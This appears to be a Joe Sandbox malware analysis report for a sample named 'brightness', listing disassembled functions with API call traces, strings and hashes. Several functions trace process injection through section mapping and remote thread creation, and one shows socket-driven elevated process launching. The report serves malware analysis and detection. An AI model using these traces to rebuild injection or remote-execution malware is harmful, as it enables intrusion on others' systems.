Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: b9af5483b9a99ebd9952a4e75bb95bc452377c3182194e12155690dda991e49d
Instruction ID: ef3fe42b1bc7d4b5b3e2a010a0f687b53f0dff2f72946a962287de23e376801e
Opcode Fuzzy Hash: b9af5483b9a99ebd9952a4e75bb95bc452377c3182194e12155690dda991e49d
Instruction Fuzzy Hash: 8D01CCE7288214FE0082C1958A049F76B6FE397378330C112F50BC9A92BFE42A177122

Function 04F60AC5 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04F60B25

Memory Dump Source

Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: d360c73f292ef305ebf3c038123a5caf4ca63c1bb5a140d483c9863dff0892f6
Instruction ID: a2ef183c83ecbafebe989f6ec7ea5abb7257f22144f4ddd404edeb1215ff81dc
Opcode Fuzzy Hash: d360c73f292ef305ebf3c038123a5caf4ca63c1bb5a140d483c9863dff0892f6
Instruction Fuzzy Hash: 9801F2AB289014FD4182C1598B44AF3AB2FA387338330C112F40798E417FE02B137112

Function 04F60AB2 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04F60B25

Memory Dump Source

Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 2a5456f27b1768346d597aac81f7d6e2663f5b2d0100b986aea89736de7c45e2
Instruction ID: 0c74c2e169114e8d5ff52abf077e0ec2c006894b02f6b6f8b79bce89d1e69811
Opcode Fuzzy Hash: 2a5456f27b1768346d597aac81f7d6e2663f5b2d0100b986aea89736de7c45e2
Instruction Fuzzy Hash: 8BF08CEB289014FD4182D1999A449F7AB2FA797338330C212F50B99E917BE02B177222

Function 04F60AF4 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04F60B25

Memory Dump Source

Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 30706ffa39e3846a7180496d827110948ee56fbc4b165b231ab8eb1f65b2e366
Instruction ID: 4d67b26f7bce97f2ccef2c7539af9718f3f1344311c513120cc0583604a836ee
Opcode Fuzzy Hash: 30706ffa39e3846a7180496d827110948ee56fbc4b165b231ab8eb1f65b2e366
Instruction Fuzzy Hash: C1F08CAB288110FE4096D5998648DF7AF2FB797339330C122F10788E52BBE02756B221

Function 04F60B02 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetProcAddressForCaller.KERNELBASE(?,?,?), ref: 04F60B25

Memory Dump Source

Source File: 00000005.00000002.1901356508.0000000004F60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04F60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4f60000_brightness.jbxd

Similarity

API ID: AddressCallerProc
String ID:
API String ID: 2663294120-0
Opcode ID: 69c4de7751c4cfc1a8b97ec7f58eccf4bdb16fef33d1eeaabde30018515ffbd3
Instruction ID: a85c8d11fc15ba5c67af64a3bd789a1f96698fbf76583fc85012d67f1f6af81a
Opcode Fuzzy Hash: 69c4de7751c4cfc1a8b97ec7f58eccf4bdb16fef33d1eeaabde30018515ffbd3
Instruction Fuzzy Hash: 9FF0E9A7389150BE818295954A549F7BF2EB793739330C021F447C4E12BBC017167260

Function 002E98EE Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,002E6178), ref: 002E98F7

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 87ad92c1afc08b446b955846cfd40115a5af204e1566b23d7e10809e4d660273
Instruction ID: 2b376076073423bf4c6226847d627db9f365b8058ad2944f687d70e5e45a0082
Opcode Fuzzy Hash: 87ad92c1afc08b446b955846cfd40115a5af204e1566b23d7e10809e4d660273
Instruction Fuzzy Hash: 07C092B53823435AF7596A786D52B5921889B45B82F20113D7206EA9E0DF90A8A1E608

Non-executed Functions

Function 002D38D0 Relevance: 110.8, APIs: 45, Strings: 18, Instructions: 565nativeprocessstringCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 002D38D9
_memset.LIBCMT ref: 002D3906
lstrcpyW.KERNEL32(?,?), ref: 002D3919

Part of subcall function 002C1C60: _wcsrchr.LIBCMT ref: 002C1C6C

_memset.LIBCMT ref: 002D3940
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,?,00000044,?), ref: 002D398A
NtCreateSection.NTDLL(00000000,00000006,00000000,000005F0,00000004,08000000,00000000), ref: 002D3A0B
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002D3A60
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,000005F0,00000002,00000000,00000004), ref: 002D3AAB
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 002D3B06
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002D3B5D
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 002D3BA8
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 002D3BF7
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002D3C4B
NtMapViewOfSection.NTDLL(00000000,?,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 002D3C96
_memmove.LIBCMT ref: 002D3CBE
_memmove.LIBCMT ref: 002D3CF7
_memmove.LIBCMT ref: 002D3D30
_memmove.LIBCMT ref: 002D3EA9
CreateEventW.KERNEL32(00000000,00000001,00000000,?), ref: 002D3EC5
GetModuleHandle64.BRIGHTNESS(NTDLL.DLL), ref: 002D3EE8
GetProcAddress64.BRIGHTNESS(?,?,RtlCreateUserThread), ref: 002D3F0F
X64Call.BRIGHTNESS(?,?,0000000A,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002D3F79
WaitForSingleObject.KERNEL32(00000000,00001388), ref: 002D3FA0
ResetEvent.KERNEL32(00000000), ref: 002D3FB3
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D3FD7
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D3FEB
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D3FFF
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4010
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4021
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4032
NtClose.NTDLL(00000000), ref: 002D403F
NtClose.NTDLL(00000000), ref: 002D404C
NtClose.NTDLL(00000000), ref: 002D4059
CloseHandle.KERNEL32(00000000), ref: 002D4066
ResetEvent.KERNEL32(00000000), ref: 002D40A1
CloseHandle.KERNEL32(00000000), ref: 002D40AE
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D40C2
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D40D3
NtClose.NTDLL(00000000), ref: 002D40E0
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D40F4
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4105
NtClose.NTDLL(00000000), ref: 002D4112
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4126
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4137
NtClose.NTDLL(00000000), ref: 002D4144

Strings

777367648777262762, xrefs: 002D3D01
VirtualFree, xrefs: 002D3E2B
USER32.DLL, xrefs: 002D3D56
RtlCreateUserThread, xrefs: 002D3EFC
MessageBoxW, xrefs: 002D3E43
GetProcAddress, xrefs: 002D3D86
VirtualAlloc, xrefs: 002D3DE4
D, xrefs: 002D3948
LoadLibraryA, xrefs: 002D3DB5
897878765347627341, xrefs: 002D3CC8
LoadLibraryW, xrefs: 002D3D6E
VirtualProtect, xrefs: 002D3E5B
LocalAlloc, xrefs: 002D3DCD
Sleep, xrefs: 002D3D9D
NTDLL.DLL, xrefs: 002D3EE3
CloseHandle, xrefs: 002D3E14
KERNEL32.DLL, xrefs: 002D3D44
LocalFree, xrefs: 002D3DFC

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Section$View$Unmap$Close$Create$_memmove$Event$HandleProcessReset_memset$Address64CallCurrentHandle64ModuleObjectProcSingleWait_wcsrchrlstrcpy
String ID: 777367648777262762$897878765347627341$CloseHandle$D$GetProcAddress$KERNEL32.DLL$LoadLibraryA$LoadLibraryW$LocalAlloc$LocalFree$MessageBoxW$NTDLL.DLL$RtlCreateUserThread$Sleep$USER32.DLL$VirtualAlloc$VirtualFree$VirtualProtect
API String ID: 2205077196-117320160
Opcode ID: 2d947e0545f3fe9a6ee6e555f75ad48149326615693df77da6bf1d3b6ab52429
Instruction ID: 13f33389867ec385b34918747973ad9afae05917d449059a41863a34d64fd0e5
Opcode Fuzzy Hash: 2d947e0545f3fe9a6ee6e555f75ad48149326615693df77da6bf1d3b6ab52429
Instruction Fuzzy Hash: 163262B1A51218AFEB24DB64CC8DF9AB778AB48704F1045D9F60DB7290DB74AE81CF50

Function 002D44B0 Relevance: 103.8, APIs: 38, Strings: 21, Instructions: 524nativeprocesssynchronizationCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?,00000044,00000000), ref: 002D450D
NtCreateSection.NTDLL(00000000,00000006,00000000,0000091C,00000004,08000000,00000000), ref: 002D463B
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002D4690
NtMapViewOfSection.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,0000091C,00000002,00000000,00000004), ref: 002D46D8
NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000), ref: 002D473B
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002D4792
NtMapViewOfSection.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 002D47DA
_memmove.LIBCMT ref: 002D4806
NtCreateSection.NTDLL(00000000,00000006,00000000,?,00000004,08000000,00000000), ref: 002D4997
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 002D49EB
NtMapViewOfSection.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000002,00000000,00000004), ref: 002D4A33
_memmove.LIBCMT ref: 002D4A5B
CreateEventW.KERNEL32(00000000,00000001,00000000,002C55B9), ref: 002D4A98
RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002D4AE0
WaitForSingleObject.KERNEL32(00000000,00000BB8), ref: 002D4B1F
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 002D4B46
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 002D4B57
NtUnmapViewOfSection.NTDLL(00000000,00000000), ref: 002D4B68
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4B79
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4B8A
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4B9B
NtClose.NTDLL(00000000), ref: 002D4BA8
NtClose.NTDLL(00000000), ref: 002D4BB5
NtClose.NTDLL(00000000), ref: 002D4BC2
CloseHandle.KERNEL32(00000000), ref: 002D4BCF
TerminateProcess.KERNEL32(00000000,00000000), ref: 002D4BE7
CloseHandle.KERNEL32(00000000), ref: 002D4BF1
CloseHandle.KERNEL32(00000000), ref: 002D4BFB
CloseHandle.KERNEL32(00000000), ref: 002D4C1D
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4C2E
NtClose.NTDLL(00000000), ref: 002D4C3B
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4C4C
NtClose.NTDLL(00000000), ref: 002D4C59
NtUnmapViewOfSection.NTDLL(?,00000000), ref: 002D4C6A
NtClose.NTDLL(00000000), ref: 002D4C77
TerminateProcess.KERNEL32(00000000,00000000), ref: 002D4C89
CloseHandle.KERNEL32(00000000), ref: 002D4C93
CloseHandle.KERNEL32(00000000), ref: 002D4C9D

Strings

USER32.DLL, xrefs: 002D4875
Sleep, xrefs: 002D488C
NtUnmapViewOfSection, xrefs: 002D456A
D, xrefs: 002D44CE
NtClose, xrefs: 002D457C
VirtualAlloc, xrefs: 002D48D3
MessageBoxW, xrefs: 002D4932
NtMapViewOfSection, xrefs: 002D4543
VirtualProtect, xrefs: 002D494A
NtCreateSection, xrefs: 002D452E
LoadLibraryW, xrefs: 002D482B
GetProcAddress, xrefs: 002D4845
LocalFree, xrefs: 002D48EB
LocalAlloc, xrefs: 002D48BC
LoadLibraryA, xrefs: 002D48A4
VirtualFree, xrefs: 002D491A
KERNEL32.DLL, xrefs: 002D4860
NTDLL.DLL, xrefs: 002D4520
RtlCreateUserThread, xrefs: 002D4558
KERNEL32.DLL, xrefs: 002D481A
CloseHandle, xrefs: 002D4903

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Section$View$Close$Unmap$CreateHandle$Process$Terminate_memmove$EventObjectSingleThreadUserWait
String ID: CloseHandle$D$GetProcAddress$KERNEL32.DLL$KERNEL32.DLL$LoadLibraryA$LoadLibraryW$LocalAlloc$LocalFree$MessageBoxW$NTDLL.DLL$NtClose$NtCreateSection$NtMapViewOfSection$NtUnmapViewOfSection$RtlCreateUserThread$Sleep$USER32.DLL$VirtualAlloc$VirtualFree$VirtualProtect
API String ID: 1505946719-4063295011
Opcode ID: 0936659a343d133a7cda738fac55952d5eb651edb57ffcc5a1872b2d45c78058
Instruction ID: 073fff6fc543c0a7c04fdc3c4ac44cb0d6cb6a67d72d4edffeaea863e650fc9a
Opcode Fuzzy Hash: 0936659a343d133a7cda738fac55952d5eb651edb57ffcc5a1872b2d45c78058
Instruction Fuzzy Hash: 89220F70A51218EFEB24DF64CC45FAEB779BB48704F108599F609B7280CB74AA85CF64

Function 002CC1F0 Relevance: 63.2, APIs: 27, Strings: 9, Instructions: 243memoryprocessCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002CC267
SetEvent.KERNEL32(00000000), ref: 002CC2B2
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CC2E6
wnsprintfW.SHLWAPI ref: 002CC31C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CC32C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CC379
CoInitializeEx.COMBASE(00000000,00000006), ref: 002CC405
ShellExecuteExW.SHELL32(<@@), ref: 002CC418
GetLastError.KERNEL32 ref: 002CC424
CoUninitialize.COMBASE ref: 002CC439
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CC47A
wnsprintfW.SHLWAPI ref: 002CC4B5
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 002CC4FC
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002CC51D
SetEvent.KERNEL32(00000000), ref: 002CC539
CloseHandle.KERNEL32(00000000), ref: 002CC546
LocalFree.KERNEL32(00000000), ref: 002CC553
LocalFree.KERNEL32(00000000), ref: 002CC560
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002CC574
SetEvent.KERNEL32(00000000), ref: 002CC590
CloseHandle.KERNEL32(00000000), ref: 002CC59D
LocalFree.KERNEL32(00000000), ref: 002CC5AA
LocalFree.KERNEL32(00000000), ref: 002CC5B7
LocalFree.KERNEL32(00000000), ref: 002CC5C4
LocalFree.KERNEL32(00000000), ref: 002CC5D1
shutdown.WS2_32(?,00000002), ref: 002CC5DD
closesocket.WS2_32(?), ref: 002CC5E7

Part of subcall function 002CB6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 002CB701
Part of subcall function 002CB6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CB724
Part of subcall function 002CB6D0: __snwprintf.LIBCMT ref: 002CB74E
Part of subcall function 002CB6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 002CB773
Part of subcall function 002CB6D0: GetLastError.KERNEL32 ref: 002CB77C
Part of subcall function 002CB6D0: LocalFree.KERNEL32(00000000), ref: 002CB7FC
Part of subcall function 002CB6D0: LocalFree.KERNEL32(00000000), ref: 002CB806

Strings

@@, xrefs: 002CC3BF
<@@, xrefs: 002CC411, 002CC417
runas, xrefs: 002CC3ED
{411C1FF3-84D1-4AB1-868B-39D8EDE8EFF0}, xrefs: 002CC493
